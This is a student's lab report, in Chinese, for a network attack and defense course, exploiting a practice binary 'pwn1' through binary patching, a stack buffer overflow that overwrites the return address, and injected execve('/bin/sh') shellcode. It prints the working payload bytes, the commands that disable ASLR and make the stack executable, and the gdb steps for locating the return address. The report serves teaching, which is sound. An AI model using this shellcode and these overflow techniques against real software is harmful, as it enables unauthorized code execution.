2018-2019-2 20165205 《网络对抗技术》 Exp1 PC平台逆向破解

1. 实验任务

1.1实验概括

1. 用一个pwn1文件。 该程序正常执行流程是：main调用foo函数,foo函数会回显任何用户输入的字符串。 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不被运行的。实践的目标就是想办法运行这个代码片段。
2. 我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

1.2实践内容

• 手工修改可执行文件，改变EIP的指向，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
• 注入一个自己制作的shellcode并运行这段shellcode。 这几种思路，基本代表现实情况中的攻击目标: 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码。

2.实验步骤

2.1 直接修改程序机器指令，改变程序执行流程

• 首先我们拿到的是一个可执行文件，所以我们没有办法改变源代码，所以我们选择对pwn1进行反汇编，直接修改汇编指令

• 可以看到我们要算出804847d的物理地址

  • 用491-47d=14
  • 然后ffd7-14=ffc3

• 此时将e8d7ff改为e8c3ff就可以了

    vim pwn1
  
    ESC
  
    :%!xxd     /ELF文件16进制数显示
  
    /e8 d7     /找到目标位置
  
    /修改代码
  
    :%!xxd     /还原代码格式ELF
  
    ：wq       /保存退出
  
  

• 可以看到函数这里已经被改为了getshell函数

• 这里运行pwn1，看到我们获得了shell

2.2通过构造输入参数，造成BOF攻击，改变程序执行流

• 原理是输入足够多的数字，覆盖掉返回地址，并把返回地址改成getshell的其实地址

• 已知getshell的地址为0x0804847d

• perl -e 'print "11111111222222223333333344444444\0x7d\0x84\0x04\0x08\x0a"' > input生成input文件，准备注入

• cat input;cat) | ./pwn1注入input
  
  

2.3注入Shellcode并执行

• 准备工作

    execstack -s pwn1    //设置堆栈可执行
  
    execstack -q pwn1    //查询文件的堆栈是否可执行
  
    more /proc/sys/kernel/randomize_va_space
  
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
  
    more /proc/sys/kernel/randomize_va_space
  
  

• 构造破坏缓冲区文件

  • 构造文件input_shellcode perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode这里的32个A将数据区填充，之后的4321，我们用它来计算滑行区的位置
  • 第一个终端用 (cat input_shellcode;cat) | ./pwn1注入攻击
  • 打开第二个终端
    • 查看pwn1进程号ps -ef | grep pwn
    • gdb 调试这个进程
    • attach 进程号 找到这个进程
    • disassenble foo进行反汇编，找到ret的位置，查看其中的物理地址
    • break *0x080484ae命令设置断点，输入``c命令(continue)继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp命令查找地址
    • x/16x 0xffffd2dc命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为0xffffd2e0
    • 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可
    • 再用 (cat input_shellcode;cat) | ./pwn1 命令次执行程序，攻击成功

3.实验感想

3.1收获与感想

• 首先通过这次实验，更加深刻地学习到缓冲区溢出的原理，我们应该把哪一部分的数据覆盖掉，知道了我们怎样将不是源代码的文件修改掉，以达到攻击的目的
• 漏洞：漏洞是软件或者硬件设计上的缺陷。比如，芯片里的电路 逻辑不严谨没有考虑边界值、计算机系统的缓冲区溢出漏洞，DES算法被差分攻击等
• 漏洞的危害，会很容易让自己的电脑受到攻击，遭到破坏

3.2学到的知识

3.2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

• NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
• JNE：条件转移指令，如果不相等则跳转。（机器码：75） -JE：条件转移指令，如果相等则跳转。（机器码：74）
• JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB） 段内直接近转移Jmp near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）
• CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

3.2.2掌握反汇编与十六进制编程器

• objdump -d：从objfile中反汇编那些特定指令机器码的section。
• xxd：为给定的输入转换为十六进制的输出
• xxd -r：将十六进制输出转换为二进制格式
• |：管道，将前者的输出作为后者的输入。

3.2.3能正确修改机器指令改变程序执行流程

• 这一点在整个实验中可以体现

3.2.4能正确构造payload进行bof攻击

• Linux下有两种基本构造攻击buf的方法：
  • retaddr+nop+shellcode
  • nop+shellcode+retaddr
• 我实验中用的是nop+shellcode+retaddr
  • \90作为nop，即滑行区的填充数据
  • shellcode是直接从老师的博客中拿来用的
  • retaddr是需要寻找的